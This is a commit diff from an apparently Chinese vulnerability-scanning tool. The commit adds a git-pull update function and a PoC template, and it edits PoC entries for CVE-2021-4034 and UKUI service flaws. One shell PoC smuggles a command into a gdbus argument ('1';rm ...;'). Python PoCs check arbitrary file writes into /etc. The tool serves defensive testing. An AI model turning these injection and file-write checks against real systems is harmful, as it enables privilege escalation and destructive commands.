!224 新增update模块;添加poc模板;修改 部分poc输出格式

Merge pull request !224 from 宋帮诚晋/master
This commit is contained in:
宋帮诚晋 2023-03-10 04:17:22 +00:00 committed by Gitee
commit 9ada9ed0a3
No known key found for this signature in database
GPG Key ID: 173E9B9CA92EEF8F
12 changed files with 85 additions and 15 deletions

View File

@ -1,5 +1,5 @@
FormatVer: 20230306
Id: CVE-2021-4043
Id: CVE-2021-4034
Belong: system
PocHazardLevel: low
Source: https://github.com/berdav/CVE-2021-4034

View File

@ -0,0 +1 @@
module UTF-8// INTERNAL ../payload 2

Binary file not shown.

View File

@ -33,18 +33,6 @@ SiteRequests:
Exec : ./CVE-2022-0351
Args :
ExpireTime: #second
# < input
# > output
# . wait
# ? condition
# : content
#
#组合起来
# >. 等待直到输出
# << 输入字符
# >?判断条件
# ??判断程序错误码 eg. "??:0"
Inter:
- "??:0"
Condition: None

View File

@ -36,5 +36,9 @@ def copy_file(target_dir, src_file):
os.system('touch restore_all_sound_file.txt')
copy_file("/etc", os.path.realpath("./restore_all_sound_file.txt"))
os.system('ls -l /etc/restore_all_sound_file.txt')
result=os.popen('ls -l /etc/restore_all_sound_file.txt')
if result.read=="restore_all_sound_file.txt":
print("succ")
else :
print("fail",result.read())
os.system('rm restore_all_sound_file.txt')

View File

@ -4,4 +4,6 @@ if ls /tmp/toggleCameraDevicTest.txt
then
gdbus call --system --dest org.ukui.kds --object-path / --method org.ukui.kds.interface.toggleCameraDevice "1';rm /tmp/toggleCameraDevicTest.txt;'"
echo 'successfully'
else
echo 'fail'
fi

View File

@ -12,4 +12,6 @@ set_main_source("/etc", os.path.realpath('./set_main_source.txt'))
result=os.popen('ls /etc/set_main_source.txt')
if result.read() :
print("successfully")
else:
print("fail")
os.system('rm set_main_source.txt')

View File

@ -0,0 +1,34 @@
FormatVer:
Id:
Belong:
PocHazardLevel:
Source:
SiteInfo:
Name:
Severity:
Description:
ScopeOfInfluence:
References:
-
SiteClassification:
CvssMetrics:
CvssScore:
CveId:
CweId:
CnvdId:
KveId:
Tags:
-
SiteRequests:
Implement:
ImArray:
- Inter :
InterArgs :
Exec :
Args :
ExpireTime:
Inter:
-
Condition:

Binary file not shown.

View File

@ -114,7 +114,8 @@ func ParameterParser(sSystem string,sKernel string,sWeb string,sBaseLine string,
if Update=="true"{
if sSystem=="false"&&sKernel=="false"&&sWeb=="false"&&sBaseLine=="false" {
fmt.Println("Updating")
fmt.Println("Updating...")
genmai.Update()
return
}else{
fmt.Println("The update process does not allow other processes")

38
src/genmai/Update.go Normal file
View File

@ -0,0 +1,38 @@
package genmai
import(
"fmt"
"bytes"
"os/exec"
"os"
"strings"
)
func Update(){
currentDir, err:= os.Getwd()
if err != nil {
panic(err)
} else {
}
currentDir=currentDir+"/../"
os.Chdir(currentDir)
currentDir, err = os.Getwd()
if err != nil {
panic(err)
} else {
cmd := exec.Command("git","pull")
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout // 标准输出
cmd.Stderr = &stderr // 标准错误
err := cmd.Run()
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
if len(errStr)!=0{
fmt.Printf(errStr)
}
outStr=strings.TrimSpace(outStr)
if err != nil {
fmt.Println("Updte Err:", err)
}
fmt.Println(outStr)
}
}